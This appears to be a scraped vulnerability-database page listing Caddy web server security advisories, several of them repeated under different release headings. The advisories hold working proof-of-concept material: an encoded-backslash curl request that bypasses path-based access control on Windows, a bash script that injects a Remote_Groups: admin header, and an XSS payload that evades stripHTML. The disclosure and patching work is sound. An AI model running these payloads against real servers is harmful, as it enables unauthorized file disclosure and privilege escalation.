On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jun 02, 2015

v0.7.0 minor

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

May 25, 2015

v0.6.0 minor

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

May 06, 2015

v0.5.1 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

